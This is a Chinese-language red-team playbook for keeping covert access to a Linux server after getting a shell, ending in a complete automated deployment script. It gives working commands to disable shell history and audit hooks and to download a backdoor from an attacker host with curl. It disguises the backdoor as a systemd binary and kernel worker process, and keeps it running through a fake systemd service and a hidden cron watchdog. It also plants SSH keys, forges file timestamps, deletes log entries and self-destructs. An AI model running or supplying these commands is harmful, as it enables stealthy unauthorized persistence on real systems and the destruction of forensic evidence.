拿到Shell
↓
【阶段零】删除终端记录(断流)
↓
【阶段零点五】下载后门并执行
↓
【阶段一】systemd service 持久化
↓
【阶段二】cron 守护
↓
【阶段三】ssh 免密公钥(可选)
↓
【阶段四】其他项删除
↓
下线
命名
ELF 实体文件 /usr/lib/systemd/systemd-update 磁盘上真实的后门二进制文件
进程伪装名 [kworker/0:0] ps aux 看到的进程名(argv[0])
Systemd 服务名 systemd-network-resync.service systemctl 管理的服务单元
Cron 检测目标 [kworker/0:0](匹配进程名,不匹配路径) 因为 cmdline 里只有这个伪名
删除终端记录
unset HISTFILE
history -c
set +o history
export PROMPT_COMMAND=''
trap - DEBUG
unset HISTFILE:退出时不写历史文件,不会清空原有 .bash_historyhistory -c:清空之前内存残留历史set +o history:停止记录后续命令到内存export PROMPT_COMMAND='':干掉事后审计钩子trap - DEBUG:干掉事前审计钩子
下载后门并执行
#下载后门
curl -s -o /tmp/.systemd-update --connect-timeout 10 http://vps/systemd
chmod 755 /tmp/.systemd-update
touch -r /usr/lib/systemd/systemd /tmp/.systemd-update 2>/dev/null
#移动至系统目录
mv /tmp/.systemd-update /usr/lib/systemd/systemd-update
touch -r /usr/lib/systemd/systemd /usr/lib/systemd/systemd-update
chmod 755 /usr/lib/systemd/systemd-update
exec -a [kworker/0:0] /usr/lib/systemd/systemd-update &
后门持久化
systemd service
我们以伪装成 systemd-network-resync.service 为例,文件路径放在 /usr/lib/systemd/system/(系统原生目录,比 /etc/systemd/system/ 更隐蔽)。
#写入配置
cat > /usr/lib/systemd/system/systemd-network-resync.service << 'EOF'
[Unit]
Description=Network Time Resynchronization
After=network.target
Wants=network-online.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'exec -a [kworker/0:0] /usr/lib/systemd/systemd-update'
Restart=always
RestartSec=30s
Environment=LC_ALL=C
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
#权限与时间戳伪装
chmod 644 /usr/lib/systemd/system/systemd-network-resync.service
touch -r /usr/lib/systemd/system/systemd-journald.service /usr/lib/systemd/system/systemd-network-resync.service
#重载配置与开机自启
systemctl daemon-reload
systemctl enable systemd-network-resync.service
systemctl start systemd-network-resync.service
cron守护
不要 crontab -e 写入(用户级容易被 crontab -l 看到)。
写入 /etc/cron.d/:这个目录下每个文件代表一个任务,crontab -l 看不到这里,管理员除非 ls /etc/cron.d/,否则很难发现。
echo '*/10 * * * * root /usr/bin/pgrep -f "[k]worker/0:0" > /dev/null 2>&1 || ( /usr/bin/systemctl start systemd-network-resync.service 2>/dev/null || /bin/bash -c "exec -a [kworker/0:0] /usr/lib/systemd/systemd-update" )' > /etc/cron.d/sysstat-collect
chmod 644 /etc/cron.d/sysstat-collect
touch -r /etc/crontab /etc/cron.d/sysstat-collect
ssh免密公钥(可选)
mkdir -p ~/.ssh
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
echo "公钥" >> ~/.ssh/authorized_keys
touch -r ~/.bashrc ~/.ssh/authorized_keys
其他下载记录的定向清除
清除使用过的脚本文件
# ========== 其他痕迹清理 ==========
# 1. 删除 /tmp 下的隐藏下载缓存(如果还在)
rm -f /tmp/.systemd-update 2>/dev/null
# 2. 清除系统日志中 VPS IP 的记录(如果有)
sed -i '/vps/d' /var/log/syslog 2>/dev/null
# 3. 清除当前会话残留(暴力断尾,不触发退出钩子)
kill -9 $$ 2>/dev/null &
自动化脚本
这并不好用,需要加强
curl -s -o /tmp/setup.sh http://vps/setup.sh && bash /tmp/setup.sh
setup.sh
#!/bin/bash
# ============================================================
# 红队 Linux 后门全自动部署脚本(systemd + cron + 进程伪装)
# 适用:CentOS 7+ / Ubuntu 16+ / Debian 8+(带 systemd)
# 用法:sudo bash setup.sh
# ============================================================
# ---------- 配置区(按需修改) ----------
VPS_URL="http://vps/systemd" # 后门下载地址
BACKDOOR_NAME="systemd-update" # 伪装文件名
SERVICE_NAME="systemd-network-resync" # Systemd 服务名
CRON_FILE="sysstat-collect" # Cron 文件名
PROCESS_ALIAS="[kworker/0:0]" # 进程伪装名
SSH_PUBKEY="" # 可选:留空则跳过SSH密钥
# -----------------------------------------
set -e # 遇错即停(防止部分执行留下半成品)
# ---- 阶段零:抹除当前会话历史 ----
unset HISTFILE
history -c
set +o history
export PROMPT_COMMAND=''
trap - DEBUG
# ---- 检查 root 权限 ----
if [ "$EUID" -ne 0 ]; then
echo "[!] 请使用 root 权限执行此脚本(sudo bash $0)"
exit 1
fi
# ---- 检查 systemd ----
if ! command -v systemctl &>/dev/null; then
echo "[!] 当前系统不支持 systemd,脚本退出"
exit 1
fi
echo "[+] 开始部署后门..."
# ---- 阶段零点五:下载并启动后门 ----
echo "[+] 下载后门..."
curl -s -o /tmp/.${BACKDOOR_NAME} --connect-timeout 10 "$VPS_URL"
chmod 755 /tmp/.${BACKDOOR_NAME}
touch -r /usr/lib/systemd/systemd /tmp/.${BACKDOOR_NAME} 2>/dev/null
mv /tmp/.${BACKDOOR_NAME} /usr/lib/systemd/${BACKDOOR_NAME}
chmod 755 /usr/lib/systemd/${BACKDOOR_NAME}
touch -r /usr/lib/systemd/systemd /usr/lib/systemd/${BACKDOOR_NAME}
# 后台启动(带进程伪装)
echo "[+] 启动后门进程..."
nohup bash -c "exec -a $PROCESS_ALIAS /usr/lib/systemd/${BACKDOOR_NAME}" >/dev/null 2>&1 &
# 清理下载痕迹
rm -f ~/.wget-hsts ~/.curlrc 2>/dev/null
sed -i "/$(echo $VPS_URL | awk -F/ '{print $3}' | cut -d: -f1)/d" /var/log/syslog 2>/dev/null
# ---- 阶段一:Systemd 服务持久化 ----
echo "[+] 配置 Systemd 服务..."
cat > /usr/lib/systemd/system/${SERVICE_NAME}.service << EOF
[Unit]
Description=Network Time Resynchronization
After=network.target
Wants=network-online.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'exec -a $PROCESS_ALIAS /usr/lib/systemd/${BACKDOOR_NAME}'
Restart=always
RestartSec=30s
Environment=LC_ALL=C
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
chmod 644 /usr/lib/systemd/system/${SERVICE_NAME}.service
touch -r /usr/lib/systemd/system/systemd-journald.service /usr/lib/systemd/system/${SERVICE_NAME}.service 2>/dev/null
systemctl daemon-reload
systemctl enable ${SERVICE_NAME}.service --quiet
systemctl start ${SERVICE_NAME}.service --quiet
# ---- 阶段二:Cron 看门狗 ----
echo "[+] 配置 Cron 守护..."
cat > /etc/cron.d/${CRON_FILE} << EOF
*/10 * * * * root /usr/bin/pgrep -f "$PROCESS_ALIAS" > /dev/null 2>&1 || ( /usr/bin/systemctl start ${SERVICE_NAME}.service 2>/dev/null || /bin/bash -c "exec -a $PROCESS_ALIAS /usr/lib/systemd/${BACKDOOR_NAME}" )
EOF
chmod 644 /etc/cron.d/${CRON_FILE}
touch -r /etc/crontab /etc/cron.d/${CRON_FILE}
systemctl reload crond 2>/dev/null || systemctl reload cron 2>/dev/null
# ---- 阶段三:SSH 免密公钥(可选) ----
if [ -n "$SSH_PUBKEY" ] && [ "$SSH_PUBKEY" != "ssh-rsa AAAA... your@email" ]; then
echo "[+] 写入 SSH 公钥..."
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "$SSH_PUBKEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
touch -r ~/.bashrc ~/.ssh/authorized_keys
fi
# ---- 阶段四:最终痕迹清理 ----
echo "[+] 清理痕迹..."
rm -f /tmp/.${BACKDOOR_NAME} 2>/dev/null
# 清理系统日志中出现的 VPS IP
VPS_IP=$(echo "$VPS_URL" | awk -F/ '{print $3}' | cut -d: -f1)
sed -i "/$VPS_IP/d" /var/log/syslog 2>/dev/null
sed -i "/$VPS_IP/d" /var/log/messages 2>/dev/null
# 清理当前用户历史
if [ -f ~/.bash_history ]; then
grep -v -E "($BACKDOOR_NAME|${SERVICE_NAME}|${CRON_FILE}|$VPS_IP)" ~/.bash_history > /tmp/hist_$$
cat /tmp/hist_$$ > ~/.bash_history
rm -f /tmp/hist_$$
touch -r ~/.bashrc ~/.bash_history
fi
# ---- 自毁脚本 ----
echo "[+] 部署完成,脚本将在 3 秒后自毁并退出..."
sleep 3
rm -f "$0" # 删除脚本自身
kill -9 $$ 2>/dev/null & # 暴力退出当前 shell(不触发历史回写)